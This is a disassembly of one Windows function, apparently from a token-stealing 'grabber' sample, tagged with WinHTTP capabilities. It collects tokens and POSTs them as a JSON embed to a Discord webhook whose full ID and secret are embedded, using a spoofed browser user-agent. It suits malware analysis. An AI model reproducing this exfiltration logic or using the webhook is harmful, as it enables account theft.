Function at 0x1400031e0
Capabilities:
Initialize winhttp library
Prepare http request
Receive http response
Reference http user-agent string

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x50]
sub rsp, 0x150
mov rax, qword [0x14001b040]
xor rax, rsp
mov qword [rbp + 0x48], rax
mov r14, rcx
xor edi, edi
mov rdx, qword [rcx + 8]
mov rcx, qword [rcx]
mov r8, rdx
sub r8, rcx
sar r8, 5
xor r9d, r9d
call fcn.14000ba20
mov rbx, qword [r14 + 8]
mov rdx, qword [r14]
mov r8, rbx
lea rcx, [rsp + 0x40]
call fcn.1400090f0
mov r8, qword [rsp + 0x40]
cmp r8, rbx
je 0x14000326d
mov rdx, qword [r14 + 8]
mov rcx, rbx
call fcn.140007a50
mov rbx, rax
mov rdx, qword [r14 + 8]
mov rcx, rax
call fcn.140007b00
mov qword [r14 + 8], rbx
xorps xmm0, xmm0
movups xmmword [rbp + 8], xmm0
mov qword [rbp + 0x18], rdi
mov qword [rbp + 0x20], rdi
mov r8d, 9
lea rdx, str.Tokens:_n
lea rcx, [rbp + 8]
call fcn.1400081d0
nop
mov r15d, 1
mov rdx, qword [r14 + 8]
mov r8, qword [r14]
mov rax, rdx
sub rax, r8
sar rax, 5
cmp rax, r15
jb 0x140003643
mov r12, rdi
mov r13, rdi
nop dword [rax]
sub rdx, r8
sar rdx, 5
cmp rdx, r12
jbe 0x140003b35
lea rsi, [r8 + r13]
mov edx, r15d
lea rcx, [rbp - 0x58]
call fcn.1400070e0
nop
mov rcx, qword [rbp - 0x48]
mov rdx, qword [rbp - 0x40]
mov rax, rdx
sub rax, rcx
cmp rax, 1
jb 0x140003381
lea r8, [rcx + 1]
mov qword [rbp - 0x48], r8
lea rbx, [rbp - 0x58]
cmp rdx, 0xf
cmova rbx, qword [rbp - 0x58]
lea rax, [0x140014859]
cmp rax, rbx
jbe 0x140003337
lea rax, [rbx + rcx]
lea rcx, [0x140014858]
cmp rcx, rax
ja 0x140003337
cmp rbx, rcx
jbe 0x14000333c
mov rdi, rbx
sub rdi, rcx
jmp 0x14000333c
mov edi, 1
lea rcx, [rbx + 1]
mov rdx, rbx
call sub.VCRUNTIME140.dll_memmove
mov r8, rdi
lea rdx, [0x140014858]
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rbx + rdi]
mov r8d, 1
sub r8, rdi
lea rdx, [0x140014858]
inc rdx
add rdx, rdi
call sub.VCRUNTIME140.dll_memcpy
lea rax, [rbp - 0x58]
xor edi, edi
jmp 0x140003398
mov qword [rsp + 0x28], 1
mov edx, 1
lea rcx, [rbp - 0x58]
call fcn.14000a0e0
xorps xmm0, xmm0
movups xmmword [rbp - 0x78], xmm0
mov qword [rbp - 0x68], rdi
mov qword [rbp - 0x60], rdi
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x78], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x68], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov r8d, 3
lea rdx, [0x140014854]
lea rcx, [rbp - 0x78]
call fcn.140006fb0
xorps xmm0, xmm0
movups xmmword [rsp + 0x68], xmm0
mov qword [rsp + 0x78], rdi
mov qword [rbp - 0x80], rdi
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x68], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x78], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov r8, qword [rsi + 0x10]
cmp qword [rsi + 0x18], 0xf
jbe 0x14000341a
mov rsi, qword [rsi]
mov rdx, rsi
lea rcx, [rsp + 0x68]
call fcn.140006fb0
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
mov qword [rsp + 0x58], rdi
mov qword [rsp + 0x60], rdi
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x48], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x58], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov r8d, 4
lea rdx, str._n_n
lea rcx, [rsp + 0x48]
call fcn.140006fb0
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x38], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x28], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rdx, [rbp - 0x38]
movq rcx, xmm0
movdqa xmm0, xmm1
psrldq xmm0, 8
movq rax, xmm0
cmp rax, 0xf
cmova rdx, rcx
movq r8, xmm1
lea rcx, [rbp + 8]
call fcn.140006fb0
nop
mov rdx, qword [rbp - 0x20]
cmp rdx, 0xf
jbe 0x1400034f8
inc rdx
mov rcx, qword [rbp - 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400034f2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003764
call fcn.1400126ec
nop
mov rdx, qword [rsp + 0x60]
cmp rdx, 0xf
jbe 0x140003535
inc rdx
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003530
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000376b
call fcn.1400126ec
mov qword [rsp + 0x58], rdi
mov qword [rsp + 0x60], 0xf
mov byte [rsp + 0x48], 0
mov rdx, qword [rbp - 0x80]
cmp rdx, 0xf
jbe 0x140003584
inc rdx
mov rcx, qword [rsp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000357f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003772
call fcn.1400126ec
mov qword [rsp + 0x78], rdi
mov qword [rbp - 0x80], 0xf
mov byte [rsp + 0x68], 0
mov rdx, qword [rbp - 0x60]
cmp rdx, 0xf
jbe 0x1400035d1
inc rdx
mov rcx, qword [rbp - 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400035cc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003779
call fcn.1400126ec
mov qword [rbp - 0x68], rdi
mov qword [rbp - 0x60], 0xf
mov byte [rbp - 0x78], 0
mov rdx, qword [rbp - 0x40]
cmp rdx, 0xf
jbe 0x14000361c
inc rdx
mov rcx, qword [rbp - 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003617
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003780
call fcn.1400126ec
inc r15d
inc r12
add r13, 0x20
mov rdx, qword [r14 + 8]
mov r8, qword [r14]
mov rcx, rdx
sub rcx, r8
sar rcx, 5
movsxd rax, r15d
cmp rax, rcx
jbe 0x1400032c0
mov dword [rsp + 0x20], edi
xor r9d, r9d
xor r8d, r8d
lea edx, [r9 + 1]
lea rcx, str.Mozilla_5.0__Windows_NT_10.0__Win64__x64__AppleWebKit_537.36__KHTML__like_Gecko__Chrome_120.0.0.0_Safari_537.36
call qword [sym.imp.WINHTTP.dll_WinHttpOpen]
mov r12, rax
mov r8d, 0x1bb
xor r9d, r9d
lea rdx, str.discord.com
mov rcx, rax
call qword [sym.imp.WINHTTP.dll_WinHttpConnect]
mov qword [rsp + 0x40], rax
mov dword [rsp + 0x30], 0x800000
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], rdi
xor r9d, r9d
lea r8, str._api_webhooks_1225437618565550181_yP8okBFDF6C7nuDv0AQWsex6p352N4z6fhGBoS9gVPedfsbgyjBCuCi1AIp3PDLAWd_u
lea rdx, str.POST
mov rcx, rax
call qword [sym.imp.WINHTTP.dll_WinHttpOpenRequest]
mov r14, rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x28], xmm0
mov qword [rbp + 0x38], rdi
mov qword [rbp + 0x40], rdi
mov r8d, 8
lea rdx, str.16711680
lea rcx, [rbp + 0x28]
call fcn.1400081d0
nop
mov r13, qword [rbp + 0x18]
movabs rcx, 0x7fffffffffffffff
mov rax, rcx
sub rax, r13
cmp rax, 0x62
jb 0x140003b41
lea r15, [rbp + 8]
cmp qword [rbp + 0x20], 0xf
cmova r15, qword [rbp + 8]
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x58], xmm1
lea rsi, [r13 + 0x62]
mov ebx, 0xf
lea rdi, [rsp + 0x48]
cmp rsi, rbx
jbe 0x1400037c5
mov rbx, rsi
or rbx, 0xf
cmp rbx, rcx
jbe 0x140003787
mov rbx, rcx
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.140012470
test rax, rax
je 0x1400039d4
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x1400037c0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
mov eax, 0x16
cmp rbx, rax
cmovb rbx, rax
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x1400037af
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140003b3b
jmp 0x140003745
test rcx, rcx
je 0x1400037be
call fcn.140012470
mov rdi, rax
jmp 0x1400037c0
xor edi, edi
mov qword [rsp + 0x48], rdi
mov qword [rsp + 0x58], rsi
mov qword [rsp + 0x60], rbx
movaps xmm0, xmmword [str._username_:__Grabber__By_qwemix___content_:_null__embeds_:___title_:__New_lox___description_:__]
movups xmmword [rdi], xmm0
movaps xmm1, xmmword [0x140014a90]
movups xmmword [rdi + 0x10], xmm1
movaps xmm0, xmmword [0x140014aa0]
movups xmmword [rdi + 0x20], xmm0
movaps xmm1, xmmword [0x140014ab0]
movups xmmword [rdi + 0x30], xmm1
movaps xmm0, xmmword [0x140014ac0]
movups xmmword [rdi + 0x40], xmm0
movaps xmm1, xmmword [0x140014ad0]
movups xmmword [rdi + 0x50], xmm1
movzx eax, word [0x140014ae0]
mov word [rdi + 0x60], ax
lea rcx, [rdi + 0x62]
mov r8, r13
mov rdx, r15
call sub.VCRUNTIME140.dll_memcpy
mov byte [rdi + rsi], 0
mov r8d, 0xb
lea rdx, str.___color_:
lea rcx, [rsp + 0x48]
call fcn.140006fb0
xorps xmm0, xmm0
movups xmmword [rsp + 0x68], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x78], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x68], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x78], xmm1
xor ebx, ebx
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], 0xf
mov byte [rax], bl
lea rdx, [rbp + 0x28]
cmp qword [rbp + 0x40], 0xf
cmova rdx, qword [rbp + 0x28]
mov r8, qword [rbp + 0x38]
lea rcx, [rsp + 0x68]
call fcn.140006fb0
xorps xmm0, xmm0
movups xmmword [rbp - 0x78], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x68], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x78], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x68], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], 0xf
mov byte [rax], bl
lea r8d, [rbx + 0x17]
lea rdx, str._____attachments_:___
lea rcx, [rbp - 0x78]
call fcn.140006fb0
xorps xmm0, xmm0
movups xmmword [rbp - 0x18], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 8], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x18], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 8], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], 0xf
mov byte [rax], bl
mov rdx, qword [rbp - 0x60]
cmp rdx, 0xf
jbe 0x14000393d
inc rdx
mov rcx, qword [rbp - 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003938
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003938
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400126ec
movdqa xmm0, xmmword [0x140015410]
movdqu xmmword [rbp - 0x68], xmm0
mov byte [rbp - 0x78], 0
mov rdx, qword [rbp - 0x80]
cmp rdx, 0xf
jbe 0x14000398d
inc rdx
mov rcx, qword [rsp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003988
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003988
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400126ec
movdqa xmm0, xmmword [0x140015410]
movdqu xmmword [rsp + 0x78], xmm0
mov byte [rsp + 0x68], 0
mov rdx, qword [rsp + 0x60]
cmp rdx, 0xf
jbe 0x1400039e0
inc rdx
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400039db
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400039db
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400126ec
lea r9, [rbp - 0x18]
cmp qword [rbp], 0xf
cmova r9, qword [rbp - 0x18]
mov qword [rsp + 0x30], rbx
mov eax, dword [rbp - 8]
mov dword [rsp + 0x28], eax
mov dword [rsp + 0x20], eax
mov r8d, 0xffffffff
lea rdx, str.Content_Type:_application_json
mov rcx, r14
call qword [sym.imp.WINHTTP.dll_WinHttpSendRequest]
xor edx, edx
mov rcx, r14
call qword [sym.imp.WINHTTP.dll_WinHttpReceiveResponse]
mov rcx, r12
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov rcx, r14
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov rdx, qword [rbp]
cmp rdx, 0xf
jbe 0x140003a7a
inc rdx
mov rcx, qword [rbp - 0x18]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003a75
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003a75
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400126ec
movdqa xmm0, xmmword [0x140015410]
movdqu xmmword [rbp - 8], xmm0
mov byte [rbp - 0x18], 0
mov rdx, qword [rbp + 0x40]
cmp rdx, 0xf
jbe 0x140003aca
inc rdx
mov rcx, qword [rbp + 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003ac4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003ac4
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400126ec
nop
mov rdx, qword [rbp + 0x20]
cmp rdx, 0xf
jbe 0x140003b08
inc rdx
mov rcx, qword [rbp + 8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003b03
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003b03
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400126ec
mov rcx, qword [rbp + 0x48]
xor rcx, rsp
call fcn.140012450
lea r11, [rsp + 0x150]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.140006e80
nop
call fcn.140001130
int3
call fcn.1400011d0
int3